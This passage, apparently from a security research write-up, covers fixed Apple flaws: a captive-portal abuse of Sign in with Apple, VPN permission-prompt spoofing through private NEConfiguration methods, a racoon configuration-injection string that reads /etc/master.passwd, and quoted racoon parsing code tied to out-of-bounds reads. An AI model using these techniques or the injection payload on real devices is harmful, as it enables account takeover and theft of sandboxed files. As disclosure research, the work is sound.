The first two require the attacker to trick users into visiting the malicious page. The third requires that the attacker has access to the user’s local network. While such an attack is in general harder, it does allow a very interesting example: captive.apple.com. When an Apple device connects to a wifi-network, it will try to access http://captive.apple.com/hotspot-detect.html. If the response does not match the usual response, then the system assumes there is a captive portal where the user will need to do something first. To allow the user to do that, the response page is opened and shown. Usually, this redirects the user to another page where they need to login, accept terms and conditions, pay, etc. However, it does not need to do that. Instead, the page could embed JavaScript which triggers the TouchID login, which will be allowed as it is on an apple.com subdomain. If the user authenticates, then the malicious JavaScript receives the user’s grant_code.

The page could include all sorts of content to make the user more likely to authenticate, for example by making the page look like it is part of iOS itself or a “Sign in with Apple” button. “Sign in with Apple” is still pretty new, so user’s might not notice that the prompt is slightly different than usual. Besides, many users will probably automatically authenticate when they see a TouchID prompt as those are almost always about them authenticating to the phone, the fact that users should also determine if they want to authenticate to the page which opened the prompt is not made obvious.

By setting up a fake hotspot in a location where users expect to receive a captive portal (for example at an airport, hotel or train station), it would have been possible to gain access to a significant number of iCloud accounts, which would have allowed access to backups of pictures, location of the phone, files and much more. As I mentioned, this also bypasses the normal 2FA approve + 6-digit code step.

We reported this vulnerability to Apple, and they fixed it the same day they triaged it. The gsa.apple.com API now correctly checks that the redirect_uri matches the client_id. Therefore, this could be fixed entirely server-side.

It makes a lot of sense to us how this vulnerability could have been missed: people testing this will probably have focused on using untrusted domains for the redirect_uri. For example, sometimes it works to use https://www.icloud.com.attacker.com or https://attacker.com/https://www.icloud.com. In this case those both fail, however, by trying just those you would miss the ability to use a malicious subdomain.

The video below illustrates the vulnerability.

Since iOS version 8, support has been present for third-party apps to implement Network Extensions. Network Extensions can be a variety of things that can all inspect or modify network traffic in some way, like ad-blockers and VPNs.

For VPNs there are actually three variants that a Network Extension can implement: a “Personal VPN”, where the app supplies only a configuration for a built-in VPN type (IPsec), or the app can implement the code for the VPN itself, either as “Packet Tunnel Provider” or “App Proxy Provider”. we did not spend any time on the latter two, but only investigated Personal VPNs.

To install a VPN Network Extension, the user needs to approve it. This is a little different from other permission prompts in iOS: the user needs to approve it and then also enter their passcode. This makes sense because a VPN can be very invasive, so users must be aware of the installation. If the user uninstalls the app, then any Personal VPN configurations it added are also automatically removed.

Bug 1: App spoofing

To request the addition of a new VPN configuration, the app sends a request to the nehelper daemon using an NSXPCConnection. NSXPCConnection is a high-level API built on XPC that can be used to call specific Objective-C methods between processes. Arguments that are passed to the method are serialized using NSSecureCoding. The object representing the configuration of a Network Extension is an object of the class NEConfiguration. As can be seen from the following class dump of NEConfiguration, the name (_applicationName) and app bundle identifier (_application) of the app which created the request are included in this object:

@interface NEConfiguration : NSObject <NEConfigurationValidating,
			NEProfilePayloadHandlerDelegate, NSCopying, NSSecureCoding> {
    NEVPN * _VPN;
    NEAOVPN * _alwaysOnVPN;
    NEVPNApp * _appVPN;
    NSString * _application;
    NSString * _applicationIdentifier;
    NSString * _applicationName;
    NEContentFilter * _contentFilter;
    NSString * _externalIdentifier;
    long long  _grade;
    NSUUID * _identifier;
    NSString * _name;
    NEPathController * _pathController;
    NEProfileIngestionPayloadInfo * _payloadInfo;
}

It turns out that the permission prompt used that name, instead of the actual name of the app that the user would be familiar with. Because that is part of an object received from the app, this means that it could present the name of an entirely different app, for example one the user might be more inclined to trust as a VPN provider. Because it is even possible to add newlines in this value, a malicious app could even attempt to obfuscate what the prompt is actually asking. For example, making it seem like a prompt about installing a software update (where users would expect to enter their passcode).

It is also possible to change the app bundle identifier to something else. By doing this, the VPN configuration is no longer automatically removed when the user uninstalls the app. Therefore, the configuration persists even when the user thinks they removed it by removing the app.

So, by calling these private methods:

NEVPNManager *manager = [NEVPNManager sharedManager];
...
NEConfiguration *configuration = [manager configuration];

[configuration setApplication:nil];
[configuration setApplicationName:@"New Network Settings for 4G"];

[manager saveToPreferencesWithCompletionHandler:^(NSError *error) {
    ...
}];

This results in the following permission prompt:

And this configuration is not automatically removed when uninstalling the app.

Apple fixed this issue in the iOS 14 update.

Bug 2: Configuration file injection (CVE-2020-9836)

IPsec VPNs are handled on iOS by racoon, an IPsec implementation that is part of the open source project ipsec-tools. Note that the upstream project for this was abandoned in 2014:

Important Note

The development of ipsec-tools has been ABANDONED.

ipsec-tools has security issues, and you should not use it. Please switch to a secure alternative!

Whenever an IPsec VPN is asked to connect, the system generates a new racoon configuration file, places it in /var/run/racoon/ and tells racoon to reload its configuration. This happens no matter where the VPN configuration came from: a manually added VPN, Personal VPN Network Extension app or a VPN configuration from a .mobileconfig profile.

While playing around with the configuration options, we noticed a strange error whenever we included a " character in the “Group name” or “Account Name” values. As it turns out, these values are copied literally to the configuration file without any escaping. Because the string itself was enclosed in quotes, this resulted in a syntax error. By using ";, it was possible to add new racoon configuration options.

Racoon supports many more configuration options than what is available via the UI, a Personal VPN API or a .mobileconfig file. Some of those could have an effect that should not be allowed for an app, even though it may be approved as a Network Extension. If you check the man page, you might notice script as an interesting option. Sadly, this is not included in the build on iOS.

One interesting option that did work was the following:

A"; my_identifier keyid file "/etc/master.passwd

This results in the following line in the configuration file:

	my_identifier keyid_use "A"; my_identifier keyid file "/etc/master.passwd";

This second option tells racoon to read its group name from the file /etc/master.passwd, which overrides the previous option. Using this as a group name would cause the contents of /etc/master.passwd to be included in the initial IPsec packet:

Of course, on iOS the /etc/master.passwd file is not sensitive as it is always the same, but there are various system locations that racoon is allowed to read from due to its sandbox configuration:

• /var/root/Library/
• /private/etc/
• /Library/Preferences/

There is, however, an important limitation. The group name is added to the initial handshake message. This packet is sent over UDP, therefore, the entire packet can be at most 65,535 bytes. The group name value is not truncated, so any files larger than 65,535 bytes, subtracting the overhead for the rest of the packet, IP and UDP header, can not be read.

For example, following files were found to often be below the limit and may sensitive information that would normally not be available to an app:

• /Library/Preferences/SystemConfiguration/com.apple.wifi.plist
• /private/var/root/Library/Lockdown/data_ark.plist

By exploiting this issue, a Network Extension app could read from files that would normally not be allowed due to the app sandbox. Other potential impact could be accessing Keychain items or deleting files on those directories by changing the pid file location.

Apple initially indicated that they planned to release a fix in iOS 13.5, but we found no changes in that version. Then, they applied a fix in iOS 13.6 beta 2 that attempted to filter out racoon options from these fields, which was easily bypassed by replacing the spaces in the example with tabs. Finally, in the release of iOS 13.6 this was actually fixed. Sadly, due to this back and forth, Apple seems to have forgotten to include it in their changelog, even after multiple reminders.

Bug 3: OOB reads (CVE-2020-9837)

As mentioned, the upstream project for racoon is abandoned and it indicates that it contains known security issues. Apple has patched quite a few vulnerabilities in racoon over the years (in the iOS 5 era even being used for a jailbreak), but likely because there is no upstream project, these fixes were often not correct or incomplete. In particular, we noticed that some bounds checks Apple added were off by a small amount.

A common pattern in racoon for parsing packets containing a list of elements is to do the following. The start of the list is cast to a struct with the same representation as the element header (d). A variable keeps track of the remaining length of the buffer (tlen). Then, a loop is started. In each iteration, it handles the current element. Then it advances the struct to the next value and it decreases the number of remaining bytes with the size of the current element. If that number becomes negative or zero, the loop ends.

For example, ipsec_doi.c:534-772:

534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772

/*
 * get ISAKMP data attributes
 */
static int
t2isakmpsa(trns, sa)
	struct isakmp_pl_t *trns;
	struct isakmpsa *sa;
{
	struct isakmp_data *d, *prev;
	int flag, type;
	int error = -1;
	int life_t;
	int keylen = 0;
	vchar_t *val = NULL;
	int len, tlen;
	u_char *p;

	tlen = ntohs(trns->h.len) - sizeof(*trns);
	prev = (struct isakmp_data *)NULL;
	d = (struct isakmp_data *)(trns + 1);

	/* default */
	life_t = OAKLEY_ATTR_SA_LD_TYPE_DEFAULT;
	sa->lifetime = OAKLEY_ATTR_SA_LD_SEC_DEFAULT;
	sa->lifebyte = 0;
	sa->dhgrp = racoon_calloc(1, sizeof(struct dhgroup));
	if (!sa->dhgrp)
		goto err;

	while (tlen > 0) {

		type = ntohs(d->type) & ~ISAKMP_GEN_MASK;
		flag = ntohs(d->type) & ISAKMP_GEN_MASK;

		plog(ASL_LEVEL_DEBUG, 
			"type=%s, flag=0x%04x, lorv=%s\n",
			s_oakley_attr(type), flag,
			s_oakley_attr_v(type, ntohs(d->lorv)));

		/* get variable-sized item */
		switch (type) {
		case OAKLEY_ATTR_GRP_PI:
		case OAKLEY_ATTR_GRP_GEN_ONE:
		case OAKLEY_ATTR_GRP_GEN_TWO:
		case OAKLEY_ATTR_GRP_CURVE_A:
		case OAKLEY_ATTR_GRP_CURVE_B:
		case OAKLEY_ATTR_SA_LD:
		case OAKLEY_ATTR_GRP_ORDER:
			if (flag) {	/*TV*/
				len = 2;
				p = (u_char *)&d->lorv;
			} else {	/*TLV*/
				len = ntohs(d->lorv);
				if (len > tlen) {
					plog(ASL_LEVEL_ERR, 
						 "invalid ISAKMP-SA attr, attr-len %d, overall-len %d\n",
						 len, tlen);
					return -1;
				}
				p = (u_char *)(d + 1);
			}
			val = vmalloc(len);
			if (!val)
				return -1;
			memcpy(val->v, p, len);
			break;

		default:
			break;
		}

		switch (type) {
		case OAKLEY_ATTR_ENC_ALG:
			sa->enctype = (u_int16_t)ntohs(d->lorv);
			break;

		case OAKLEY_ATTR_HASH_ALG:
			sa->hashtype = (u_int16_t)ntohs(d->lorv);
			break;

		case OAKLEY_ATTR_AUTH_METHOD:
			sa->authmethod = ntohs(d->lorv);
			break;

		case OAKLEY_ATTR_GRP_DESC:
			sa->dh_group = (u_int16_t)ntohs(d->lorv);
			break;

		case OAKLEY_ATTR_GRP_TYPE:
		{
			int type = (int)ntohs(d->lorv);
			if (type == OAKLEY_ATTR_GRP_TYPE_MODP)
				sa->dhgrp->type = type;
			else
				return -1;
			break;
		}
		case OAKLEY_ATTR_GRP_PI:
			sa->dhgrp->prime = val;
			break;

		case OAKLEY_ATTR_GRP_GEN_ONE:
			vfree(val);
			if (!flag)
				sa->dhgrp->gen1 = ntohs(d->lorv);
			else {
				int len = ntohs(d->lorv);
				sa->dhgrp->gen1 = 0;
				if (len > 4)
					return -1;
				memcpy(&sa->dhgrp->gen1, d + 1, len);
				sa->dhgrp->gen1 = ntohl(sa->dhgrp->gen1);
			}
			break;

		case OAKLEY_ATTR_GRP_GEN_TWO:
			vfree(val);
			if (!flag)
				sa->dhgrp->gen2 = ntohs(d->lorv);
			else {
				int len = ntohs(d->lorv);
				sa->dhgrp->gen2 = 0;
				if (len > 4)
					return -1;
				memcpy(&sa->dhgrp->gen2, d + 1, len);
				sa->dhgrp->gen2 = ntohl(sa->dhgrp->gen2);
			}
			break;

		case OAKLEY_ATTR_GRP_CURVE_A:
			sa->dhgrp->curve_a = val;
			break;

		case OAKLEY_ATTR_GRP_CURVE_B:
			sa->dhgrp->curve_b = val;
			break;

		case OAKLEY_ATTR_SA_LD_TYPE:
		{
			int type = (int)ntohs(d->lorv);
			switch (type) {
			case OAKLEY_ATTR_SA_LD_TYPE_SEC:
			case OAKLEY_ATTR_SA_LD_TYPE_KB:
				life_t = type;
				break;
			default:
				life_t = OAKLEY_ATTR_SA_LD_TYPE_DEFAULT;
				break;
			}
			break;
		}
		case OAKLEY_ATTR_SA_LD:
			if (!prev
			 || (ntohs(prev->type) & ~ISAKMP_GEN_MASK) !=
					OAKLEY_ATTR_SA_LD_TYPE) {
				plog(ASL_LEVEL_ERR, 
				    "life duration must follow ltype\n");
				break;
			}

			switch (life_t) {
			case IPSECDOI_ATTR_SA_LD_TYPE_SEC:
				sa->lifetime = ipsecdoi_set_ld(val);
				vfree(val);
				if (sa->lifetime == 0) {
					plog(ASL_LEVEL_ERR, 
						"invalid life duration.\n");
					goto err;
				}
				break;
			case IPSECDOI_ATTR_SA_LD_TYPE_KB:
				sa->lifebyte = ipsecdoi_set_ld(val);
				vfree(val);
				if (sa->lifebyte == 0) {
					plog(ASL_LEVEL_ERR, 
						"invalid life duration.\n");
					goto err;
				}
				break;
			default:
				vfree(val);
				plog(ASL_LEVEL_ERR, 
					"invalid life type: %d\n", life_t);
				goto err;
			}
			break;

		case OAKLEY_ATTR_KEY_LEN:
		{
			int len = ntohs(d->lorv);
			if (len % 8 != 0) {
				plog(ASL_LEVEL_ERR, 
					"keylen %d: not multiple of 8\n",
					len);
				goto err;
			}
			sa->encklen = (u_int16_t)len;
			keylen++;
			break;
		}
		case OAKLEY_ATTR_PRF:
		case OAKLEY_ATTR_FIELD_SIZE:
			/* unsupported */
			break;

		case OAKLEY_ATTR_GRP_ORDER:
			sa->dhgrp->order = val;
			break;

		default:
			break;
		}

		prev = d;
		if (flag) {
			tlen -= sizeof(*d);
			d = (struct isakmp_data *)((char *)d + sizeof(*d));
		} else {
			tlen -= (sizeof(*d) + ntohs(d->lorv));
			d = (struct isakmp_data *)((char *)d + sizeof(*d) + ntohs(d->lorv));
		}
	}

	/* key length must not be specified on some algorithms */
	if (keylen) {
		if (sa->enctype == OAKLEY_ATTR_ENC_ALG_DES
		 || sa->enctype == OAKLEY_ATTR_ENC_ALG_3DES) {
			plog(ASL_LEVEL_ERR, 
				"keylen must not be specified "
				"for encryption algorithm %d\n",
				sa->enctype);
			return -1;
		}
	}

	return 0;
err:
	return error;
}